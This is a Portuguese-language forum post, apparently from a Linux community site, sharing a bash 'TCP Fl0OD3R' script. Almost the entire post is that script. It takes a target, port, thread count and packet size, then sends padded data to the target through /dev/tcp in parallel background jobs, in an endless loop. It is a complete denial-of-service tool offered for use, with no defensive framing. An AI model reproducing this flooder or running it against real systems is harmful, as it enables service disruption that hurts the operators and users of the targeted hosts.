TCP Flooder
Publicado por Perfil removido (última atualização em 18/11/2013)
[ Hits: 5.750 ]
TCP flooder feito em Shell Script.
#!/bin/bash
# TCP Fl0OD3R 8y MMxM
error(){
echo -e "\n\n[sorry dude] connection refused\n\n"
exit;
}
help(){
name=$(basename $0)
cat <<_EXPLAIN
[+] TCP Fl0OD3R 8y MMxM
|
|
*--> [ Options ]
|
| (-x [target-destination] )
| (-p [port-destination] )
| (-t [threads] )
| (-s [size-of-package {bytes}] )
|
*--> [ Example ]
$name -x 127.0.0.1 -p 3306 -t 20 -s 2096
_EXPLAIN
exit;
}
flood(){
dest=$1
port=$2
pack=$3
echo "$pack" > /dev/tcp/$dest/$port
}
[ "$1" ] || help;
while getopts x:p:s:t: OPT;
do
case "$OPT" in
"x") target="${OPTARG}";;
"p") port="${OPTARG}";;
"s") size="${OPTARG}";;
"t") threads="${OPTARG}";;
"?") help;;
esac
done
[ $port ] || help;
[ $target ] || help;
[ $size ] || help;
[ $threads ] || help;
echo >/dev/tcp/$target/$port || error
pack=$(printf %"$size"s |tr " " "M")
echo -e "\n[+] Starting flood\n[*]Ctrl+c to stop !!!\n\n"
sleep 2
declare -A pids
nn=0
while [ 1 ]
do
echo -ne "\r[$nn] Packets sent";
for i in $(seq $threads)
do
flood $target $port $pack &
pid=$!
pids[$pid]=$i
nn=$(($nn+1))
done
while [ -n "${pids[*]}" ]; do
sleep 1
for pid in "${!pids[@]}"; do
if ! ps "$pid" >/dev/null; then
unset pids[$pid]
fi
done
if [ -z "${!pids[*]}" ]; then
break
fi
done
done
Shell Script para consulta a Wikipedia utilizando linhas de comando
Script para automatizar instalação do Gentoo
Efetua uma busca na rede por IPs(hosts) ativos
Nenhum comentário foi encontrado.
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
IA Turbina o Desktop Linux enquanto distros renovam forças
Como extrair chaves TOTP 2FA a partir de QRCODE (Google Authenticator)
Como realizar um ataque de força bruta para desobrir senhas?
Como usar Gpaste no ambiente Cinnamon
Atualizando o Fedora 42 para 43
ERRO: LAZARUS 4.2 64 no Linux MINT não entra mais apos ajustar desktop... (0)
Pergunta: Meu teclado não está respondendo direito como e consertar? (2)
Secure boot, artigo interessante, nada técnico. (6)
SQLITE não quer funcionar no LINUX LMDE6 64 com Lazaruz 4.2 64bit (n... (0)









